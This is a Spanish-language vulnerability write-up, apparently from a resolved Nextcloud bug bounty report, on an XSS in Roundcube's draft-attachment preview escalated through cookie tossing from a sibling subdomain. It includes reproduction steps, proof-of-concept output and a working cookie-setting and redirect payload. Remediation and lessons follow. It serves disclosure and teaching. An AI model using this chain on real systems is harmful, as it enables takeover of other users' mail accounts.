Resumen
El fallo está en el flujo de redacción de correos de Roundcube, el cliente webmail, reportado dentro del programa de Nextcloud. Cuando un usuario adjunta un fichero a un mensaje que está escribiendo, puede previsualizarlo con la acción mail/attachment_display (_action=display-attachment), que acaba llamando a rcube_uploads::display_uploaded_file().
Esa ruta, con adjuntos HTML, solo pone la cabecera Content-Type y devuelve el fichero tal cual. No hace lo que sí hace el visor general de adjuntos (mail/get.php), que envuelve el HTML en un contenedor seguro y envía una CSP con script-src 'none'. El resultado: un xss.html subido como adjunto se ejecuta en el origen de Roundcube al abrir su vista previa.
Por sí solo no basta para atacar a otro usuario, porque el endpoint exige que la sesión tenga una clave concreta del borrador (la comprueba init() en attachment_upload.php), y esa clave se genera al azar en cada correo nuevo. El atacante no puede preparar un enlace que funcione directamente con la sesión de la víctima.
El investigador salva ese obstáculo con cookie tossing: cualquier servicio que viva en el mismo sitio (otro subdominio del mismo dominio) puede escribir cookies para todo el dominio. Si ese otro servicio tiene un XSS, el atacante fija en el navegador de la víctima sus propias cookies de sesión de Roundcube, limitadas con Path= a una ruta concreta, y la redirige a la vista previa de su adjunto malicioso. El script se ejecuta en el origen de Roundcube mientras el resto de peticiones siguen usando la sesión legítima de la víctima.
Pasos de reproducción
- Montar una instancia local de Roundcube en una IP, por ejemplo
127.0.0.1. - Simular que Roundcube y otro servicio comparten dominio añadiendo al fichero
hosts(/etc/hostsen Unix,C:\Windows\System32\drivers\etc\hostsen Windows):
127.0.0.1 mail.target.local
127.0.0.1 xss.target.local
- Entrar como víctima en
http://mail.target.local. - Como atacante, rellenar
USERNAMEyPASSWORDen el script de prueba del investigador (poc.py, adjunto al reporte) y ejecutarlo. El script inicia sesión, abre un borrador, subexss.htmlcomo adjunto y genera el JavaScript que habrá que ejecutar en el otro subdominio:
$ python3 poc.py
{'roundcube_sessid': '[REDACTADO]', 'roundcube_sessauth': '[REDACTADO]'}
compose_id='183727919869aecb6499f76'
{"action":"upload","exec":"this.add2attachment_list(\"rcmfile11773063013009066400\",{\"html\":\"<a href=\\\"#load\\\" class=\\\"filename\\\" onclick=\\\"return rcmail.command('load-attachment','rcmfile11773063013009066400', this, event)\\\"><span class=\\\"attachment-name\\\">xss.html</span><span class=\\\"attachment-size\\\">(30 B)</span></a><a href=\\\"#delete\\\" onclick=\\\"return rcmail.command('remove-attachment','rcmfile11773063013009066400', this, event)\\\" title=\\\"Delete\\\" class=\\\"delete\\\" aria-label=\\\"Delete xss.html\\\"></a>\",\"name\":\"xss.html\",\"mimetype\":\"text/html\",\"classname\":\"text html\",\"complete\":true},\"u128763271\");\nthis.auto_save_start(false);\n"}
att_id='11773063013009066400'
----------------------------------------------------------------------------------------------------
document.cookie='roundcube_sessid=[REDACTADO]; Path=/index.php/xss; Domain=.target.local'
document.cookie='roundcube_sessauth=[REDACTADO]; Path=/index.php/xss; Domain=.target.local'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';
- Copiar el JavaScript que aparece bajo la línea de guiones, abrir
http://xss.target.localy pegarlo en la consola de DevTools. En un ataque real ese código entraría por un XSS auténtico de la aplicación que corre enxss.target.local. - Al pulsar Intro, el navegador es redirigido y aparece la alerta del XSS en el origen de Roundcube (
mail.target.local): el fallo de otro origen se ha usado para ejecutar código en Roundcube.
Los dos puntos clave del payload son Domain=.target.local, que hace que el subdominio de Roundcube reciba las cookies del atacante, y Path=/index.php/xss, que limita esas cookies a la URL de la vista previa. Para el resto de rutas, incluida /, el navegador sigue mandando las cookies originales de la víctima, que conserva su sesión.
Impacto
Un atacante con cuenta en el mismo Roundcube que encuentre cualquier XSS en otro servicio del mismo sitio puede tomar la cuenta de otro usuario: leer todo su correo (y con ello hacerse con otras cuentas mediante restablecimientos de contraseña), enviar mensajes en su nombre y cambiar su configuración.
En la práctica, la seguridad de Roundcube pasa a depender de la de todas las demás aplicaciones alojadas bajo el mismo dominio.
Remediación
El investigador propuso aplicar a display-attachment las mismas reglas de CSP que ya usan los otros endpoints que muestran adjuntos, para que el HTML subido no pueda ejecutar JavaScript. El reporte figura como resuelto.
Qué aprender de este caso
- Si una aplicación tiene varios caminos para mostrar un fichero (adjunto recibido, adjunto en borrador, vista previa), compara las cabeceras de cada uno: aquí
get.phpenviabascript-src 'none'ydisplay_uploaded_file()no. El camino menos usado suele ser el que se queda sin protección. - Un XSS que parece limitado a la propia sesión no es inofensivo si las cookies de sesión pueden sobrescribirse desde un subdominio hermano. Revisa si las cookies llevan el prefijo
__Host-y prueba a fijarlas conDomain=del dominio padre y unPath=más específico. - Para servir contenido subido por el usuario, la defensa robusta es no ejecutarlo en el origen de la aplicación:
Content-Disposition: attachment, CSPsandboxoscript-src 'none', o un dominio aparte solo para ficheros. - Alojar un webmail en el mismo dominio registrable que otros servicios hace que un XSS en cualquiera de ellos se convierta en un riesgo para el correo; usar cookies
__Host-impide que un subdominio las sobrescriba.